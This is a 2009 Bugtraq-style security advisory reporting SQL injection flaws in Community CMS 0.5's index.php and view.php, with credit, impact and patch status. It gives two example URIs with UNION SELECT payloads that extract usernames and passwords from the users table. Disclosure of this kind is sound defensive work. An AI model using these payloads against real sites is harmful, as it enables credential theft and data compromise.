Community CMS 'index.php' and 'view.php' SQL Injection Vulnerabilities

Bugtraq ID:	34303
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 30 2009 12:00AM
Updated:	Apr 01 2009 04:46PM
Credit:	Salvatore 'drosophila' Fresta
Vulnerable:	Community CMS Community CMS 0.5
Not Vulnerable:

Community CMS 'index.php' and 'view.php' SQL Injection Vulnerabilities

Community CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Community CMS 0.5 is vulnerable; earlier versions may also be affected.

Community CMS 'index.php' and 'view.php' SQL Injection Vulnerabilities

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users

http://www.example.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a,password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23

Community CMS 'index.php' and 'view.php' SQL Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Community CMS 'index.php' and 'view.php' SQL Injection Vulnerabilities

References:

• Community CMS Homepage (Community CMS)
  
• Community CMS 0.5 Multiple SQL Injection Vulnerabilities ("Salvatore \"drosophila\" Fresta" )